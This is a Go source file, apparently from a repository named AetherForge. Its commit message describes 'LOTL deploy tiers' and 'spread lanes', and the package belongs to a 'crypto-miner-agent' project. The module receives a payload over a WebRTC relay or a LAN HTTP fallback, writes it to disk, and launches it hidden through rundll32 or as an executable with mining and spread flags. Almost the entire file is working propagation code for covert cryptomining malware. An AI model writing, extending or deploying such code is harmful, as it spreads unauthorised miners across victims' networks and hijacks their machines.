Files
AetherForge/agent/deploy/webrtc_mesh.go
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

154 lines
5.0 KiB
Go

package deploy
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
)
// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
type WebRTCMeshPolicy struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
type WebRTCMeshManifest struct {
Policy WebRTCMeshPolicy `json:"policy"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
}
// WebRTCDataChannel is a minimal testable surface for manifest delivery.
type WebRTCDataChannel interface {
Receive() ([]byte, error)
}
// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)
type mockWebRTCChannel struct {
payload []byte
}
func (m *mockWebRTCChannel) Receive() ([]byte, error) {
if len(m.payload) == 0 {
return nil, fmt.Errorf("webrtc channel empty")
}
return m.payload, nil
}
// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
return &mockWebRTCChannel{payload: payload}
}
func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
}
func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
if webrtcMeshReceiveFn != nil {
return webrtcMeshReceiveFn(cfg, policy)
}
return receiveWebRTCMeshPayloadPlatform(cfg, policy)
}
// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
}
payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
if err != nil {
return "", err
}
sum := sha256.Sum256(payload)
got := hex.EncodeToString(sum[:])
expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
if expected != "" && got != expected {
return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
}
dest, err := ResolveStagingPath(manifest.Dest)
if err != nil {
return "", err
}
workDir := webrtcMeshWorkDir(cfg)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
defer func() { _ = os.RemoveAll(workDir) }()
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
return "", err
}
if err := os.WriteFile(dest, payload, 0o755); err != nil {
return "", err
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
transport := "webrtc_relay"
if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
transport = "lan_http_fallback"
}
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
}
}
// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
if cfg.WebRTCMeshSpread {
return true
}
return false
}
// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
const DefaultWebRTCRotationHours = 24
// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
func WebRTCMeshSeederTTL(hours int) time.Duration {
if hours <= 0 {
hours = DefaultWebRTCRotationHours
}
return time.Duration(hours) * time.Hour
}